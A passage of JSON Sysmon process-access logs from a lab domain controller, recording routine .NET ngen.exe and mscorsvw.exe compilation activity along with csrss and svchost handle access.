9\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.713\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C00A0C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.713","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C00A0C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-001065640C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-001065640C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.791\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E9670C00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.791","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E9670C00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E9670C00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E9670C00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E9670C00}\r\nTargetProcessId: 4632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E9670C00}","TargetProcessId":"4632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.838\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-00102D270B00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.838","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-00102D270B00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-00102D270B00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-00102D270B00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E26A0C00}\r\nTargetProcessId: 4424\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E26A0C00}","TargetProcessId":"4424","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL